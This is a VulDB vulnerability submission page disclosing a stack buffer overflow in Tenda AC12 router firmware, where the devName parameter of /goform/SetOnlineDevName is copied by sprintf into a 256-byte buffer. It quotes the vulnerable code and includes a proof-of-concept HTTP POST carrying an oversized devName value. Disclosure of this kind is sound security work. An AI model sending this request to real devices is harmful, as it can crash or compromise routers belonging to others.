Invia #868913: Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin. Attackers can exploit this vulnerability by specifying the value of devName. When devName is passed from formSetDeviceName to set_device_name and formatted into the fixed-size mib_vlaue buffer by sprintf without length validation, it may cause a buffer overflow.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/SetOnlineDevName, registered as:
websFormDefine("SetOnlineDevName", (void (*)(webs_t, char_t *, char_t *))formSetDeviceName);

In formSetDeviceName, the attacker-controlled devName parameter is read from the HTTP request:
dev_name = websGetVar(wp, "devName", string_);

The devName value is passed into set_device_name:
set_device_name(dev_name, dev_id);

In set_device_name, the destination buffer is a fixed-size stack buffer:
char mib_vlaue[256];

The user-controlled devName value is formatted into this stack buffer without length validation:
sprintf(mib_vlaue, "%s;1", dev_name);

Because sprintf writes the complete devName string into the fixed-size mib_vlaue buffer, an overly long devName value can overflow the buffer and corrupt adjacent stack memory.

Conceptual proof-of-concept request:
POST /goform/SetOnlineDevName HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded

mac=00:11:22:33:44:55&devName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

• Fonte: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/AC12/1.md
• Utente: stksgg (UID 97520)
• Sottomissione: 25/06/2026 08:54 (2 mesi fa)
• Moderazione: 13/08/2026 20:48 (2 months later)
• Stato: Accettato
• Voce VulDB: 389755 [Tenda AC1206 15.03.06.23_multi_TD01 httpd web management interface /goform/SetOnlineDevName set_device_name devName buffer overflow]
• Punti: 20